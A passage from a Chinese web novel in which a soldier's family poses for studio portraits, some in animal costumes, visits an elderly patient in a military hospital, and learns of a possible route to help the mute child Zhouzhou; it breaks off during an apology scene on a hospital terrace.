沈淮川猝不及防,腰眼那股奇痒瞬间冲破了他僵硬的表情。 一个没憋住,一声短促又真实的小声喷了出来。 与此同时,他紧绷的身体像是被电了一下,不由自主地微微一抖,脸上的茫然瞬间被猝不及防的笑意取代,眼睛都弯了起来。 咔擦——! 就在这一瞬间,老师傅眼疾手快,精准地按下了快门,蒙着黑布地相机发出一声清脆的声响。 幕布前定格的画面,是沈淮川难得一见的开怀笑意,周柒柒则笑得眉眼弯弯,像只得逞的小狐狸,站在两人中间的舟舟,被这突如其来的欢乐感染,也露出了一个大大的、毫无保留的纯真笑容。 三条米白的围巾,在灯光下显得格外温暖和谐。 老师傅从相机后钻了出来,满意地砸砸嘴。 “嘿!这张拍得好!洗出来保准好看!” 有了刚才那张“偷袭”成功的全家福打底,沈淮川像是被打通了任督二脉,脸上的线条总算松动了些。 虽然笑起来还是带着点军人的板正,不那么自然随意,但至少不再是“视死如归”的表情了。 接下来的单人照和双人照拍得就顺利多了。 咔嚓咔嚓的快门声里,周柒柒的旗袍温婉,沈淮川的中山装挺拔,舟舟的背带裙活泼,一家三口在幕布前留下了不同组合的影像。 周柒柒的单人照拍完,她 走到旁边一直帮着递道具、搬凳子的秦磊跟前。 她变戏法似的从带来的大蛇皮袋里掏出一套崭新的改良版青年装,塞到他手里。 “给你的,小秦。赶紧换上,待会儿跟我们也拍几张,再单独给你多拍点。”周柒柒语气不容商量。 秦磊一看那料子和做工就知道不便宜,脸腾地红了,连连摆手: “嫂子!这…这使不得!太破费了!我不照相!” “大小伙子两年多没回家了,总不能也不寄照片回去吧?多拍点,黑白和彩色的都拍点,精神!” 周柒柒把衣服往他怀里又推了推, “听嫂子的,过两年你也该找对象了,趁现在精神头足,多留几张好照片,以后也好给人家姑娘相看相看。” 一句“找对象”臊得秦磊脖子根都红了,嗫嚅着说不出话,只能抱着衣服,感激又窘迫地点点头,跑去换衣间了。 等沈淮川和舟舟的单人照也拍完,秦磊穿着合身的新青年装出来,果然精神了不少。 四人凑在一起,以天安门幕布为背景,拍了一张其乐融融的“全家福plus”。 拍完这张,就该秦磊单独拍了。 沈淮川松了口气,正想牵着舟舟去旁边椅子上歇会儿,周柒柒却一把拉住他,眼睛亮晶晶的: “别急啊,还没完呢!” “嗯?”沈淮川一愣,“还要拍?衣服不都拍过了?” “衣服是拍过了,” 周柒柒神秘一笑,拍了拍脚边那个鼓鼓囊囊的蛇皮袋, “可咱们还有别的‘行头’呢!走,换衣间!” 一家人都被周柒柒拉进了小小的换衣间。 门一关,周柒柒拉开蛇皮袋,掏出来的东西让沈淮川瞬间瞳孔地震—— 三套毛茸茸、圆滚滚的玩偶服! 一套是憨态可掬的大黄狗,立体狗头帽子上耷拉着两只大耳朵,屁股后面还拖着条蓬松的大尾巴; 一套是俏皮可爱的猫咪,带着尖耳朵和长长的猫尾巴; 最小的一套则是个红白相间的小蘑菇,圆圆的菌盖帽子顶上还点缀着白色斑点。 舟舟一眼就爱上了自己的小蘑菇帽子,抱在怀里爱不释手,大眼睛期待地看着沈淮川和周柒柒。 沈淮川的脸,“唰”地一下绿了,手指头颤巍巍地指着那套狗装,声音都变了调: “柒柒!你让我穿…穿这个?!这…这成何体统!” 他堂堂一个团长,穿成个大狗子去照相? 传出去他威严何在! 周柒柒早有准备,立刻使出杀手锏,蹲下身搂住舟舟,指着她怀里的小蘑菇帽子,声音软得能滴出水: “你看舟舟的多可爱!她多期待和你一起穿啊!一家人整整齐齐才好玩嘛!” 她说着,还把自己那套猫咪装拎起来,故意晃了晃那条软绵绵的猫尾巴。 舟舟抱着小蘑菇帽,仰着小脸,大眼睛里盛满了星星,就那么巴巴地望着沈淮川,无声地传递着渴望。 沈淮川看着孩子纯真无邪的眼神,再看看那套毛茸茸、傻乎乎的狗装,内心天人交战。 一边是身为军人的钢铁形象,一边是舟舟和周柒柒亮晶晶的期盼。 最终,那点硬邦邦的坚持,在两人无声的注视下,咔嚓一声,碎了一地。 他认命般地叹了口气,脸上写满了“英勇就义”:“……就…就拍一张!拍完就脱!” “没问题!就一张!” 周柒柒立刻保证,笑得像只偷腥成功的猫。 换装过程堪称沈淮川军旅生涯中遭遇的又一场“滑铁卢”。 狗耳朵帽子软趴趴的,他戴不习惯,他戴了几次都歪在一边; 裤子后面专门留的尾巴开口,他笨手笨脚半天才把那条蓬松的大尾巴塞进去固定好; 毛茸茸的爪子手套,他左右不分,戴反了还浑然不觉; 最后对着换衣间墙上那块模糊的小镜子,看着镜子里那个顶着傻狗头、耷拉着大耳朵、身后拖着条尾巴的“自己”。 沈淮川整个人都懵了,眼神空洞,仿佛在问:我是谁?我在哪? 周柒柒憋笑憋得肚子疼,还得强装镇定,踮着脚帮他扶正狗耳朵,整理好尾巴。 舟舟则好奇地伸出小手,小心翼翼地摸了摸沈淮川“狗鼻子”上那湿漉漉的黑鼻头装饰,又碰了碰他垂下来的大耳朵,小脸上满是惊奇。 当这样“奇装异服”的一家三口从换衣间鱼贯而出时,整个小小的照相馆仿佛被按下了暂停键。 等着拍照的客人、柜台后的开票员、还有刚喝了一口水的老师傅,目光齐刷刷地聚焦过来,空气凝固了几秒,随即爆发出压抑不住的哄堂大笑! 老师傅笑得老花镜都滑到了鼻尖上,扶着相机三脚架直不起腰: “哎哟喂!同志!你们…你们这…哈哈哈…太有想法了!哈哈哈…” 沈淮川顶着巨大的狗头,感觉全身的血液都涌到了脸上,藏在毛茸茸爪子里的手紧握成拳,恨不能找个地缝钻进去。 他身体僵得像块铁板,手脚完全不知道往哪放,那根大尾巴随着他僵硬的挪动。 一不小心就扫倒了旁边一个插着假花的塑料花瓶,发出“哐当”一声脆响,引来更多笑声。 周柒柒倒是放得开,顶着可爱的猫耳朵,笑眯眯地摆出个招财猫的姿势,还用戴着软爪手套的“猫爪”轻轻碰了碰舟舟的小蘑菇帽子。 舟舟穿着红白相间的蘑菇服,只露个小脸,新奇地看着周围,有点害羞又有点兴奋。 “来来来!站好站好!” 老师傅好不容易止住笑,擦了擦笑出的眼泪,指挥道, “那个…大狗同志!对,就是你!挨近点,搂着小蘑菇!” 沈淮川只觉得指令烫耳朵,他同手同脚、姿势极其别扭地挪到舟舟身边,僵硬地抬起毛茸茸的“狗爪”,小心翼翼地搭在舟舟小小的蘑菇菌盖上,那动作,活像在拆炸弹。 就在老师傅准备喊“看镜头”时,周柒柒忽然凑近他,低声说了几句。 老师傅眼睛一亮,点点头,转身去摆弄墙角的几盏大灯。 灯光被调暗了大半,只留下几束柔和的光晕。 这时,舟舟头上那顶小蘑菇菌盖帽子,在昏暗的光线下,竟幽幽地散发出柔和的浅绿色荧光! 仔细看,菌盖里面竟用夜光材料画着几颗小小的星星! 这幽绿柔和的微光笼罩着她的小脸,让她看起来像个误入凡尘的发光小精灵,纯净、梦幻,带着一种不真实的希望感。 这一幕太神奇了! 连还在为形象“牺牲”而懊恼的沈淮川都看呆了,藏在狗头下的眼神瞬间柔和下来,带着他自己都没察觉的惊叹和宠溺。 周柒柒更是惊喜地捂住了嘴,猫眼里全是感动和浓浓的爱意。 “好!别动!看这儿!” 老师傅捕捉到了这绝妙的一瞬,屏住呼吸,果断按下了快门! 咔嚓! 画面定格,这一幕被永久地记录了下来。 “绝了!这张绝了!” 老师傅钻出黑布,激动地直拍大腿,“这光!这感觉!神来之笔啊!” 沈淮川刚松了一口气,正想跟周柒柒抱怨几句“胡闹”,这照片要是被部队的人看见,他这团长威严算是彻底扫地了。 周柒柒笑着安抚:“放心啦,就我们自家人看,谁能……” 她的话音还没落,照相馆那扇厚重的玻璃门“吱呀”一声被推开,几个穿着笔挺军装、风纪扣都扣得一丝不苟的年轻军官鱼贯而入。 他们显然是来拍证件照的,进门时还在低声交谈着什么。 然而,当他们目光扫过照相馆内部,瞬间就被那个穿着大黄狗玩偶服、顶着硕大狗头的高大身影牢牢吸住了眼球——这形象实在太扎眼! 尤其那身板,那站姿…… 第229章 看病人 其中一个眼尖的排长猛地倒抽一口凉气,失声道:“沈…沈团长?!” 这一嗓子,如同在平静的水面投下巨石! 几个军官瞬间认出了眼前这位顶着狗耳朵、拖着大尾巴的“奇人”,正是他们军区赫赫有名的战斗英雄、团长沈淮川! 震惊过后是强忍的爆笑。 几个小伙子脸憋得通红,肩膀抖得跟筛糠似的,争先恐后地上前敬礼,声音都带着颤音:“团长好!” 眼神却忍不住往那狗耳朵和尾巴上瞟。 沈淮川的脸,在狗头套下瞬间黑如锅底! 真是怕什么来什么! 他僵硬地点点头,算是回应,只想原地消失。 带队的排长强忍着笑意,小心翼翼地问: “团长,我们…我们几个请了一个小时的假出来拍证件照。那个…那个…能不能…跟您合个影?” 这机会千载难逢啊!回去够吹半年的! 沈淮川只觉得太阳穴突突直跳。 拒绝? 看着手下这群小伙子眼里地崇拜,他认命般地闭了闭眼,从牙缝里挤出两个字:“…赶紧!” 周柒柒在一旁赶紧说:“淮川,你快去把衣服换下来吧!” 沈淮川却破罐子破摔了,顶着狗头瓮声瓮气地说: “换什么换!就这个!拍完让他们赶紧走,别耽误时间!” 他们军区管理严格,平时都是出不来的,普通小兵请假一小时出来很不容易,一分钟都不能浪费。 这衣服繁琐,换起来再拾掇一下,至少要十分钟。 有这十分钟,他们还可以去对面百货大楼买点糖块零嘴啥的,多放一会风。 下次要出来,就不知道是什么时候了。 沈淮川这个决定让周柒柒有些意外。 她可还记得自己刚才说服他穿这套衣服的时候多费劲呢! 没想到居然会为了几个小兵破例。 她现在总算知道为什么沈淮川在训练上那么严格,却还那么深受士兵们的爱戴了。 这个男人身上,真的到处都是闪光点。 周柒柒看向沈淮川的眼神充满了柔情。 几个小军官闻言,更是喜出望外!高兴得差点蹦起来! 呼啦一下围拢过来,在老师傅的指挥下,以穿着大黄狗玩偶服、一脸生无可恋的沈团长为中心,迅速摆好姿势。 快门咔嚓几声,记录下了这足以载入他们连队史册的“珍贵”瞬间—— 背景是天安门幕布,前景是英勇的沈团长和他的狗耳朵、狗尾巴。 拍完合照,一个新兵蛋子大概是兴奋过头,看着旁边穿着猫咪装、笑意盈盈的周柒柒和可爱的舟舟,脑子一热脱口而出: “团长,能不能让嫂子和孩子也和我们一起……” 话没说完,就被沈淮川一个虽然隔着狗头,但杀气十足的眼神给瞪了回去。 “不是赶时间吗?” 沈淮川的声音冷飕飕的。 “是!团长!谢谢团长!嫂子再见!” 几个军官吓得一个激灵,立刻立正敬礼,憋着笑,快速掏了钱,兔子似的窜出了照相馆。 看着他们消失在门外,周柒柒嗔怪地轻轻捶了下沈淮川毛茸茸的“狗胳膊”: “你呀,那么凶干嘛,看把孩子们吓的。” 转头又对秦磊说: “石头,快,去车里把我昨天做的牛轧糖拿几袋,给他们送去。” 秦磊忍着笑应声跑了出去。 很快,巷子里传来那几个年轻军官又惊又喜的道谢声。 这场突如其来的“粉丝见面会”总算结束。 沈淮川和周柒柒赶紧带着舟舟去换下了玩偶服,沈淮川穿上自己的中山装,才感觉重新活了过来。 换好衣服,一家人回到柜台前结账。 老师傅一边噼里啪啦打着算盘,一边乐呵呵地,眼睛还不住地在周柒柒、舟舟和沈淮川脸上打转,嘴里啧啧称赞: “同志,你们这一家子,真是我们照相馆开张以来,拍得最精神、最上相的一家!瞧瞧这模样,男同志英武俊朗,女同志温婉标致,小丫头更是跟画里的仙童似的!特别是最后那张‘发光小蘑菇’,哎呀,简直绝了!” 他算完账,却没急着报数,而是搓着手,脸上堆满了热情又带着点恳求的笑,对周柒柒说: “这位女同志,跟您商量个事儿成不?你们今天拍的这几张照片,尤其是那几张特别的,效果太好了!我想着,能不能多洗两张大的,就贴在我们这橱窗玻璃上?给大家伙儿看看,也给我们这小店增增光!您放心,价钱上绝对给您优惠!加急费免了,再送你们一个实木的大相框!您看行不?” 老师傅的眼睛亮晶晶的,满是期待。 他一看就看出来,这一家人,是眼前这个女同志当家作主的。 但周柒柒一听,却下意识地就看向身边的沈淮川。 沈淮川虽然没说话,但眉头几不可察地微蹙了一下,显然是不太愿意自己的照片被贴在橱窗里供人观看。 尤其是想到其中可能包括那套“大黄狗”的造型。 周柒柒立刻会意,她转过头,对老师傅露出一个略带歉意的微笑,语气温和却坚定: “老师傅,谢谢您看得起。不过,你也看出来了,我男人是军人,” 她指了指沈淮川, “部队里有纪律,个人的照片,特别是这种生活照,不太方便公开张贴在橱窗里。您看这样行不行?我和孩子的那几张,您要是觉得好,可以多洗了贴出来。他的……就不太方便了。” 老师傅脸上露出理解又带点遗憾的表情,连连点头: “哦哦哦!明白明白!军人同志嘛,是得注意!应该的,应该的!哎呀,是我考虑不周了!” 他立刻调整过来,热情不减, “行!那就贴您和孩子的!您闺女那发光小蘑菇,还有您抱着她的那张,都特别有味道!贴出来肯定吸引人!就这么说定了!加急费照免,相框照送!” 老师傅开开心心地应下,仿佛已经看到了照片贴在橱窗里的效果,手脚麻利地重新开了票,还特意注明加洗放大橱窗展示的照片尺寸。 沈淮川听到周柒柒的话,紧绷的嘴角终于放松下来,甚至掠过一丝不易察觉的暖意。 他默默地站在一旁,看着周柒柒跟老师傅敲定细节。 交了厚厚一沓钱和票,捏着取相单走出红星照相馆,午后的阳光暖洋洋地洒在身上。 沈淮川看着身边笑容明媚的妻子和蹦蹦跳跳的舟舟,再看看手里那张写着“全家福(玩偶装)”的取相单,无奈地摇了摇头,嘴角却不由自主地勾起了一丝微不可查的弧度。 他伸手揉了揉舟舟的小脑袋,换来孩子一个甜甜的笑。 “你啊,” 沈淮川低声对周柒柒说,语气里带着点拿她没办法的宠溺,“就你主意多。” “走,” 周柒柒侧头对沈淮川说,,“咱们该去百货大楼了。” 上个礼拜在卓家,她们答应了翟老爷子,要去医院探望他的。 但是后来知道老爷子要做个小手术,那会儿去不合适,现在应该恢复些了,也是时候去看看老人家了。 一家人转进斜对面的百货大楼。 周柒柒目标明确,轻车熟路的挑选了起来。 两罐贴着红标签的糖水黄桃罐头,一盒印着麦穗图案的麦乳精,还有一网兜红彤彤的苹果,还有钙奶饼干、桃酥... 她就在前面买,秦磊在后面拎着,买了一大堆。 到了医院,她挑了几样让秦磊拿着,自己去住院部的护士台问翟老爷子病房的位置。 翟老爷子的病房在三楼尽头,是个单间,安静一些, 推门进去,老爷子正半靠在床边,戴着老花镜看报纸,旁边坐着个面容朴实的护工。 看到他们一家三口进来,老爷子立刻摘下眼镜,脸上堆满了惊喜的笑容,连声招呼: “哎呀!是你们!快进来快进来~!” “翟老,您感觉怎么样?” 周柒柒把手里提溜的东西放在靠墙的小桌上。 “好多了好多了!就是个小手术!” 老头子精神头不错,目光扫过桌上的东西,笑容敛了敛,带着长辈的威严。 “小周啊,你破费了,我这不缺吃不缺喝的,全都拿回去!我可不收!” “全都拿回去?” 周柒柒笑着把舟舟往前推了推, “翟老,我们拿的东西您不要,舟舟亲自给您整的小礼物,您也不要了?” 舟舟仰着小脸,大眼睛亮晶晶地看着翟老爷子,嘴唇无声地动了动,小手在自己斜挎的小布包里摸索着。 老爷子一看到舟舟,心就软成一滩水了,哪儿还顾得上其他的,满眼都是慈爱: “哎呦,我的小舟舟!给爷爷带什么小礼物了?” 舟舟走到床边,从布包里小心翼翼地抽出一张折叠得整整齐齐的画纸。 她踮着脚,把画纸轻轻摊开在老爷子的被子上。 一张是蜡笔涂的,色彩大胆但又有些稚拙。 画面中央是一个咧着大嘴笑的笑老爷爷,穿着条纹病号服,一边吃着药打着针,一边大步流星地走出医院大门,背景是几棵笑着的树,还有开开心心的太阳。 旁边用铅笔歪歪扭扭地写着两个字,健康。 第230章 新的希望 “哎哟!哎哟哟!” 翟老爷子看着这张画,眼眶瞬间就有点发热。 他粗糙的手指轻轻抚过那稚嫩的线条和浓烈的色彩,声音都有些发哽, “这是舟舟画的?给爷爷的?” 舟舟用力点头,小脸上满是期待,还有一点紧张。 “好!画得太好了!爷爷喜欢!” 老爷子笑得眼角得皱纹都舒展开来,像个孩子似的,把画仔细地收好,郑重地藏在自己枕头底下。 “这个爷爷一定收好!等爷爷好了,挂在家里天天看!你说好不好啊?” 他等了半天,却没等到舟舟的回应。 这才反应过来,舟舟说不了话,他心马上就揪紧了 “对不起,我这...” 他懊恼地拍了下自己的膝盖,暗骂自己老糊涂,哪壶不开提哪壶。 可舟舟的反应却出乎意料。 小姑娘非但没露出半点委屈或难过,反而仰着小脸,对着老爷子绽开一个安抚的笑容。 她轻轻摇了摇头,小小的嘴巴无声地开合了几下,努力做出清晰的口型。 老爷子一时没完全看懂那略显复杂的口型,有些茫然地看向周柒柒。 周柒柒立刻温声翻译:“翟老,舟舟说没关系,让您不用说对不起呢。” 她轻轻揽住舟舟的肩膀,对老爷子道: “您也是无心的,快别往心里去。舟舟这孩子,心宽着呢。” 看着眼前这个小小年纪就遭遇不幸、却依然如此坚韧懂事的孩子,翟老爷子心头那股怜爱之情几乎要溢出来。 他粗糙的大手小心翼翼地摸了摸舟舟柔软的头发,声音带着不易察觉的哽咽: “好孩子,真是个好孩子……” 他顿了顿,像是想转移话题,也像是想找点共同语言,目光落在舟舟放在小布包上的手,说道: “爷爷平时在家,也爱写写毛笔字,画两笔花鸟,瞎琢磨。舟舟画画这么有灵气,要不爷爷教你画小鸟?” 舟舟的眼睛瞬间亮了起来,用力点了点头,立刻又低头去翻自己的小布包,显然是想找纸笔现场“交流”。 老爷子也来了兴致,忙招呼护工帮忙找纸笔。 病房里充满了温馨的沙沙笔触声和老爷子耐心的讲解。 一老一小,一个靠说,一个靠画,气氛重新变得轻松融洽。 沈淮川一直沉默地站在窗边,目光偶尔扫过融洽交流的一老一小。 更多时候是投向门外走廊的方向,眉头微锁,手指无意识地捻着中山装的袖口。 那欲言又止的模样,被周柒柒尽收眼底。 她心里明镜似的。 趁着舟舟和老爷子都专注于画纸,她轻轻走到沈淮川身边,压低了声音: “淮川,你是不是想去看看周师母?” 沈淮川身体微微一僵,转过头,眼神复杂地看向她,带着一丝被看穿的窘迫和更深的愧疚。 “柒柒,我……” 他喉头发紧,不知该如何开口。 去看,怕柒柒心里不舒服;不去,良心上又过不去那道坎。 毕竟当初师父对他有救命之恩,之前师母对他也十分照顾。 周柒柒轻轻叹了口气,语气却异常平静: “有什么好反对的?事是事,人是人。纪委处理的时候,你不替她求情,公事公办,这就够了。她到底是你师母,情分还在。再说了,” 她顿了顿,目光坦荡, “刚来家属院那会儿,要不是她第一个送来炉子和煤球,咱家连口热水都烧不上。这份雪中送炭的情,我记得。” 结婚本就是两个人互相迁就的过程,沈淮川能为她做自己不愿意做的事。 她自然也不会制止沈淮川做自己想做的事情。 只要不要求她跟着一起去就行。 这番话像一股暖流,瞬间熨平了沈淮川心头的褶皱。 他深深地看着周柒柒,眼底涌动着难以言喻的感激和动容。 他的妻子,竟是这样通透豁达。 “谢谢。” 千言万语,最终只化作这沉甸甸的两个字。 他转身就准备走。 “等等。” 周柒柒叫住他, “空着手去像什么话?刚才买东西的时候,我就多拿了两份,你去后备箱里取一下。” 她顿了顿,又道。 “还有,让舟舟也过去一趟吧,毕竟以前你忙的时候,她帮着看了很多次,对舟舟也有恩情。” 老爷子正好到吃药的时候了,护工在招呼着,周柒柒招手把舟舟叫过来,跟她说了这事儿。 舟舟脸上的笑容慢慢淡了下去,小嘴抿得紧紧的,但最终在周柒柒温柔的目光中,最终还是点了点头。 舟舟跟着沈淮川离开后,病房里一下子安静下来。 翟老爷子靠在床头,目光落在窗外摇曳的树影上,刚才的热闹劲儿散了,显出几分大病初愈的疲惫和寂寥。 周柒柒看在眼里,倒了杯温水递过去,轻声提议: “翟老,外面日头正好,风也小,要不我推您出去透透气?老在屋里闷着也不好。” 老爷子精神一振,立刻点头:“好,好!是该活动活动筋骨了。” 他动了动身子,刚做完手术没多久,下地走路还费劲。 护工从墙角推过来一架轮椅,小心搀扶着老爷子坐稳,从坡道下了楼。 周柒柒又额外拿了个毯子给老爷子盖在腿上。 军区医院后院的小花园修葺得十分齐整,冬青墙围着,几棵光秃秃的梧桐树下摆着几张长椅。 正午的阳光透过稀疏的枝桠洒下来,暖洋洋的。 周柒柒推着轮椅,沿着平整的水泥小路慢慢走着,轮子发出轻微的“吱呀”声。 老爷子眯着眼享受难得的阳光和新鲜空气,沉默了一会儿,像是终于找到了开口的时机,语气带着长辈的关切: “小周啊,上次在卓家没顾上细问。舟舟这孩子……她那嗓子,究竟是怎么回事?” 周柒柒推着轮椅的手微微一顿,望着前方,声音平静的把舟舟的遭遇说了。 “...总之久事,孩子受了太大刺激,救回来以后,就再没出过声了。” 她顿了顿,一丝难以掩饰的黯然和无力感涌上心头,不自觉地低声补了一句, “这是严重的心理创伤,也就是PTSD,孩子的爷爷奶奶各个医院都跑过了,中西医都试过了,现在,还没什么太好的法子……” 话一出口,周柒柒心里就咯噔一下,暗叫不好。 这洋词儿现在国内哪有几个人懂? 果然,老爷子敏锐地捕捉到了这个陌生的音节,他侧过头,疑惑地问: “小周,你刚才说……什么T?那是什么词儿?” 周柒柒赶紧扯开话题,想含糊过去: “啊?哦,没什么,就是医生用的一个术语,意思就是心理上的大坎儿,不太好迈过去……” 翟老爷子不亏是市长爸爸,完全没被她带偏,眉头微锁,手指在轮椅扶手上轻轻敲点着,似乎在努力回忆什么: “等等……PTSD……PTSD……我怎么听着有点耳熟呢?” 他猛地一拍扶手,浑浊的眼睛亮了起来, “想起来了!我家老大那个闺女,就是我大孙女,她现在在国外公派留学呢!学医的!上次写信回来,好像就提过这么个词儿!说是……说是80年才刚在外国那边正式定下来的一个新病名儿!PTSD!对!就是这么个叫法!” 他越说越清晰,语速也快了起来: “她在信里提过一嘴,说这种病就是人遭了大罪、受了天大的惊吓刺激才会得的!症状就跟你刚才说的,舟舟这样不说话啊,还有做噩梦啊,怕人啊,都对得上!哎哟,瞧我这记性,刚才愣是没想起来!” 这番话如同惊雷炸响在周柒柒耳边! 她整个人都僵住了,随即一股巨大的、难以置信的狂喜瞬间冲散了心头的阴霾! 她只知道这种心理疾病在九十年代末才被重视,后续才有各种治疗方案,所以一直没抱希望。 没想到现在就已经在研究了! 而且翟老爷子的大孙女,竟然就在学这个?! “翟老!您…您说的是真的?!” 周柒柒的声音因为激动而微微发颤,她下意识地握紧了轮椅的推手,急切地看向老爷子, “您大孙女……她真的在研究这个?” “那还能有假!” 老爷子也显得很兴奋,仿佛找到了新的希望, “信里白纸黑字写着呢!她在国外就在捣鼓这个!” 巨大的惊喜让周柒柒的心脏怦怦直跳,她强压着激动,声音带着恳切: “翟老,那…那能不能麻烦您,联系一下您大孙女?把舟舟的情况跟她说说?问问她,像舟舟这样的孩子,在国外有没有什么好的法子?或者哪怕只是些建议、方向也好!” 她眼中重新燃起了希冀的光,这份希望来得如此意外又珍贵。 翟老爷子没有丝毫犹豫,立刻点头应承下来: “没问题!包在我身上!一会儿回病房,我就给老大打电话,让他赶紧联系他闺女!这丫头心善,知道是缉毒英雄的娃娃遭了罪,肯定上心!” 他随即又想到现实问题,补充道, “不过,人在国外,这信啊电话啊一来一回,可能没那么快有准信儿。这样,小周,你把舟舟的具体情况写下来。我让老大转交给他闺女,这样她说起来也有依据!” “好好好!没问题!我回去就写!” 周柒柒迭声答应,眼眶都有些发热, “翟老,谢谢您!太谢谢您了!我们不急,真的不急!能有这么个希望,就比什么都强!” 第231章 错了…全都错了… 正说着,花园小径那头匆匆走来一个穿着深蓝色呢子大衣、围着灰色围巾的中年女子,手里拎着个网兜,里面装着饭盒和水果。 她一眼瞧见轮椅上的老爷子,脸上立刻露出又急又喜的神色: “爸!您怎么跑出来了?医生让您多卧床静养的!” 正是翟老爷子的大儿媳。 “屋里闷得慌,小周推我出来晒晒,透口气。” 老爷子见到儿媳妇,笑呵呵地解释。 女人快步走到近前,先是对老爷子嗔怪了几句,才转向周柒柒,脸上堆起感激的笑: “周同志,真是太麻烦你了!我爸这人闲不住,劳你费心照顾。” 她自然地接过了轮椅的把手。 “您客气了,应该的。” 周柒柒顺势松开手,把位置让给她, “那您陪老爷子说说话,我先走了。” “哎,好,你快去吧!” 女人连声应着,推着老爷子往阳光更好的地方走,嘴里还絮叨着家里带来的汤水如何如何。 周柒柒目送他们走远,转身朝住院部大楼走去。 她没有直接回三楼病房,脚步在二楼通往三楼的楼梯口略一停顿,转而走向三楼护士台。 值班的是个方脸的小护士,看着面生,正低头整理着一叠病历。 周柒柒走近,脸上带着温和的笑意,轻声问道: “同志,打扰一下,跟您打听个人。之前在这儿工作的袁小圆护士,您知道她去哪儿了吗?今天她不值班吗?” 这小姑娘是上次沈淮川住院的时候认识的,小丫头可爱机灵,每次朱莹莹来检查,都是她帮着给预约的,热心的很。 方脸小护士抬起头:“袁小圆?前几天刚调走了。” 周柒柒有些愕然:“啊?调走了?这么忽然,那您知道她调到哪里去了吗?” 小护士摇了摇头,“我不太清楚呢。” 她显得有些抱歉,随即热心地朝走廊另一端努了努嘴, “要不,您去问问那边的护士长?她可能知道。” 周柒柒顺着她的目光看去,只见护士长正在走廊拐角跟人说着什么。 她谢过小护士,朝那边走去。 走的时候前面正好从病房里走出来七八个家属,给路挡住了。 等周柒柒到拐角的时候,护士长已经不见了。 拐过去就是个大露台。 秋日的阳光斜斜铺在宽阔的水泥平台上,几根粗铁丝横贯两端,晾晒着洗得发白的医院床单,在微风中轻轻飘荡。 她隐约看到有个身影,跟了过去一转身,目光却撞向了一个正在晾床单的男人。 那男人看到周柒柒,脸上先是迅速绽开一个惊喜的笑容。 但只是一瞬间,那抹纯真的笑容就被浓浓的歉意和一丝局促取代。 “周...周同志?” 他的声音带着点干涩。 “雷鸣同志?” 周柒柒也有些意外,随即客气的点头,“真巧,你这是...?” “哦,” 雷鸣连忙指了指旁边盆里的床单: “婶婶住院,我这两天在这儿照顾,趁着有太阳赶紧把床单洗了。” 他顿了顿,目光落在周柒柒脸上,“你呢?怎么来医院了?” “来看望一个长辈。” 周柒柒回答得简洁。 当然,这个长辈必然不会是周淑华。 两人之间一时有些沉默。 露台旁边就是楼梯,门口人来人往的,偶尔有护士或家属匆匆走过。 周柒柒点了点头,“那好,你先忙,我...” 说着转身就要走。 “等等!” 雷鸣忽然出声叫住她,声音带着急切,又像是下了很大决心。 他搓了搓带着水汽的手,眼神恳切地看向周柒柒: “周同志,每次见面都挺匆忙的...这会儿,能耽误你几分钟吗?我...我有些话,想跟你说。” 周柒柒略一沉吟,点了点头,“你说吧。” 她这会儿正站在露台门口,环顾了一下四周,指了指露台深处远离门口,相对僻静的地方。 “去那边说吧,这门口人来人往的,别挡着别人晾衣服。” “哎,好。” 雷鸣连忙应着,跟着周柒柒往露台深处走去。 与此同时,住院部三楼的走廊转角处。 沈淮川正稳稳推着一辆轮椅,轮椅上坐着脸色依旧有些苍白,但精神尚可的周淑华。 两个人刚去做了一项简单的检查。 轮椅转过拐角,正对着通往大露台的玻璃门。 周淑华的目光无意间扫过门外,猛地定住了。 她正好看到了周柒柒指着深处,然后雷鸣跟着过去的场景,两人相对而立,那姿态,显然是在交谈。 周淑华的心像是被一只无形的手狠狠攥紧,呼吸一窒。 她下意识地抓紧了轮椅扶手,声音带着抑制不住的怨气和旧有的偏见,脱口而出道。 “淮川,你看见没?之前诬告的事,是我糊涂,对不起她。可你看看!她既然都跟你结了婚,怎么还一而再,再而三地招惹雷鸣?这怎么能让我不误会?难怪我当初...” 沈淮川的脚步停住了,目光锐利地看向露台方向,眉头紧锁。 虽然有点不高兴,但还是打断了周淑华的话: “师母,什么叫‘招惹’,女人跟男人说话,就叫招惹吗?您对他偏见太深了,我相信我媳妇的为人。” “我不是不信她,我是...” 周淑华有些语塞,心里堵得慌,下意识就想给自己找借口,但怎么都找不着。 “那您是不相信雷鸣?” 沈淮川反问,语气平静却带着穿透力,“还是说,您只相信自己愿意相信的‘事实’?” 周淑华噎了一下,立刻反驳:“我当然相信雷鸣!他是我亲侄子!” “那好,” 沈淮川目光如炬,看向周淑华, “既然您也相信雷鸣,那我们就过去听听,听听看,到底是我媳妇在招惹男人,还是您又在用老眼光看人,耳听为实!” 他说着,不等周淑华反对,便推着轮椅,悄无声息地滑向露台门口一处厚重的深绿色绒布窗台后面。 这里恰好形成一个视觉死角,外面露台的人看不到他们,但交谈的声音,却隐隐约约能传来。 “周同志,” 雷鸣给的声音隔着飘动的床单缝隙传来,带着明显的沉重和诚恳。 “这次的事儿,不止是我婶婶糊涂,我也有错。” 他深吸一口气,语气越来越激动。 “我替她,也替我自己,郑重地向你道歉!对不起!” 说着,他对着周柒柒,深深地弯下了腰。 周柒柒微微侧身,避开了他的大礼: “雷鸣,你这个道歉我不能接受,这件事和你没什么关系,你不需要道歉。” 雷鸣摇了摇头。 “不,你不明白,这件事,我难辞其咎...” “每次,我都只顾自己的情绪,没有好好跟婶婶解释,误会就这么一点点加深...” 雷鸣的声音充满苦涩和无奈, “你还记得当初你来S市的火车上吗?那是我们第一次见面,我对你...一见倾心,你根本就不知道我是谁!我回去就跟婶婶说了,可婶婶却以为你勾搭我。” 雷鸣的声音带着懊悔,一件件剖析着那些让周淑华“深信不疑”的场景。 “那次下大雨,你冲出去救那个快被树砸到的孩子,我比你晚一点,我们是一左一右护着孩子躲开的,根本不是什么...抱在一起!可婶婶只看到这一幕就认定你不检点!” “还有那次抓小偷,我一个警察,抓小偷是指责,冲上去抓人时根本就不知道是你,后来送你回到家属院,你主动避嫌让我只送到门口,又被婶婶误解...” 说着,他肩膀耷拉了下来,苦涩地扯了扯嘴角。 “我当时就该好好解释的,是我害了你,也害了婶婶,我太幼稚了,和沈团长比起来,差远了,你看不上我也是应该的,我今后必须成熟起来...” “别这么说,什么看得上看不上的,” 周柒柒的声音清脆动听,带着一种安抚人心的力量, “感情这种事,最讲究缘分。我和淮川走到一起,是命运的安排,也是我们彼此的选择。但这绝不意味着你不好,或者‘差得远’。” 她顿了顿,目光坦诚地看着雷鸣。 